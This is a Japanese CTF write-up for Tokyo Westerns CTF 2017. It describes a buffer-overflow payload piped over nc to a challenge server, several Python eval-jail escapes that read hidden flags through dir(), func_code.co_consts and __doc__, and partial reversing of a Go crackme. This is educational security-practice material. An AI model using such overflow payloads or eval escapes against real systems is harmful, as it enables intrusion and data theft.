Tokyo Westerns CTF 3rd 2017 Writeup
開催期間(JST)
09/02 AM9:00 ~ 09/04 AM9:00
結果
・チーム名:wabisabi
・得点:213pt
・順位:得点したチーム中,133/901
解いた問題
・Just do it!
・Rev Rev Rev
・pplc: private
・pplc: local
・pplc: comment
取り組んだが解けなかった問題
・Let’s go!
はじめに
実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.
Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.
途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.
Writeup
Just do it!
やるだけ問でした.
実行するとこんな感じ.flag.txtを作る必要がある.
$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. hoge Invalid Password, Try Again!
flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.
オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. FLAG{xxxx}
これをリモートに送ってやるとflagが貰える.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345 Welcome my secret service. Do you know the password? Input the password. TWCTF{pwnable_warmup_I_did_it!}
Rev Rev Rev
一番最初に解いた問題でした.
$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f Rev! Rev! Rev! Your input: hoge Invalid!
crackme系の問題っぽい.
確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.
で,それがとある文字列と等しいかどうか判定している.
最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.
最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
と入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.
結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓
0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41 T W C T F { q p z i s y D n b m b o z 7 6 o g l x p z Y d k } ABCDEFGHIJKLMNOPQRSTUVWXYZ 0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5 abcdefghijklmnopqrstuvwxyz 0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1 1234567890 0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}
pplc: private
自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.
pythonのソースコードが渡されます. あと,このプログラムが動いているサーバがあります.
import sys from restrict import Restrict r = Restrict() # r.set_timeout() class Private: def __init__(self): pass def __flag(self): return "TWCTF{CENSORED}" p = Private() Private = None d = sys.stdin.read() assert d is not None assert "Private" not in d, "Private found!" d = d[:24] r.seccomp() print eval(d)
問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.
そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.
そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.
しかし,assertが働いているので “Private” という文字列を入力することができません.
ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.
まず,dir(p)でpオブジェクトのメソッド一覧を調べます.
すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.
eval("p."+dir(p)[0]+"()")
これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.
ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,
eval('p.%s()'%dir(p)[0])
こう書いてみたら24文字ぴったりでした.
$ ncat ppc1.chal.ctf.westerns.tokyo 10000 eval('p.%s()'%dir(p)[0]) TWCTF{__private is not private}
参考:
pplc: local
import sys from restrict import Restrict r = Restrict() # r.set_timeout() def get_flag(x): flag = "TWCTF{CENSORED}" return x d = sys.stdin.read() assert d is not None d = d[:30] r.seccomp() print eval(d)
get_flagの中で定義されているローカル変数であるflagを読みだす問題.
無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.
さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.
dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.
dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] get_flag.func_code.co_argcount 1 get_flag.func_code.co_code d}|S $ get_flag.func_code.co_consts (None, 'TWCTF{CENSORED}') $ ncat ppc1.chal.ctf.westerns.tokyo 10001 get_flag.func_code.co_consts (None, 'TWCTF{func_code is useful for metaprogramming}')
pplc: comment
import sys from restrict import Restrict r = Restrict() # r.set_timeout() d = sys.stdin.read() assert d is not None d = d[:20] import comment_flag r.seccomp() print eval(d)
''' Welcome to unreadable area! FLAG is TWCTF{CENSORED} '''
メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()
とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.
localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.
dir(comment_flag) ['__builtins__', '__doc__', '__file__', '__name__', '__package__'] comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{CENSORED} $ ncat ppc1.chal.ctf.westerns.tokyo 10002 comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{very simple docstring}
__doc__に入るっぽい
取り組んだが解けなかった問題
Let’s go!
golang x crackme な感じのやつでした.
絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.
$ file lets_go lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)
passwordとなる文字列をコマンドライン引数で渡して実行する形式.
$ ./lets_go hoge
Failed... ;(
まずはpasswordを比較しているところを探すことから始めました.
あと,golangバイナリの読み方?的なことも調べつつ.
main.mainから読んでいきます.
main.mainはこんな感じです.
このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.
テーブルは,後ほど出てくる暗号化で使われているテーブルです.
main.UhoCh5ooSeith0ee7Ien
で生成されているのですが,詳細な動作を読む必要は無さそう.
結果として,
WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL
というテーブルが生成されます.
テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0
という関数が実行されます.
0x492a5c <main.main+140>: call 0x491fa0 <main.Xerei4oreeshex6zien0>
この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.
こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahng
です.
入力値やテーブルなどを受け取ってなんかやってます.
これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.
その後,その戻り値がR6aYb@VboTG==
かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahng
をもっと詳しく読む必要があります.
main.Wuyeiqua4ievohR4ahng
では,入力値を2進数化してから,
0x491d70: e8 cb 40 fc ff call 455e40 <strconv.ParseInt>
ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.
そして,
0x491d8b: 48 8b 94 24 e0 00 00 mov rdx,QWORD PTR [rsp+0xe0] # rdx = table 0x491d92: 00 0x491d93: 0f b6 04 02 movzx eax,BYTE PTR [rdx+rax*1] # eax = table[rax]
ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.
つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.
これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.
そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.
6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.
そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.
tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.
#!/usr/bin/env python import sys def main(): password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36] # "R6aYb@VboTG" pass_bin = "" for i in password: pass_bin = pass_bin + format(i, 'b').zfill(6) for i in range(len(pass_bin)/8): sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2))) if __name__ == '__main__': main()
すると,"KEY_TW:)“というパスワードが求まります.
ここからが本題で,求まったパスワードを元に実行すると,
$ ./lets_go "KEY_TW:)" Input FLAG: hoge Failed... ;(
このように,渡されたFLAGの値を正しいかどうかチェックするようになります.
読むべき場所はここ
0x4924ab <main.Xerei4oreeshex6zien0+1291>: call 0x491a80 <main.f1151e71905f3d94b49b0>
この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.
この関数に入る前に,
0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp rcx,0x30 // 入力値は48文字 0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne 0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit
ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.
ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.
(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)
では先ほど出てきたmain.f1151e71905f3d94b49b0
がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,
'TWCTF{AA'[0] + 'KEY_TW:)'[0]
まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.
取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.
RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1
最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.
そして,main.f1151e71905f3d94b49b0
からretして
0x492574 <main.Xerei4oreeshex6zien0+1492>: call 0x464780 <reflect.DeepEqual>
にて,値が正しいのか確かめていると思う.
この処理を計6回行って48文字の正誤を検証しているっぽいです.
で,DeepEqualにてどんな値とそれぞれ比較されているのかというと
1回目:0x48fd9fdd395cfe4a 2回目:0x555ed4725bde6cf0 3回目:0xb492d5de09fa160 4回目:0x9c326531f39e320e 5回目:0x5eecc9092cef233d 6回目:0x10b4e73f5fd73945
つまり,これがFLAGっぽいです.
Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.
他の方のWriteupを読みたいと思います…
まとめ
解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.
Let’s go!が解けていれば順位が2桁だったので悔しさがある…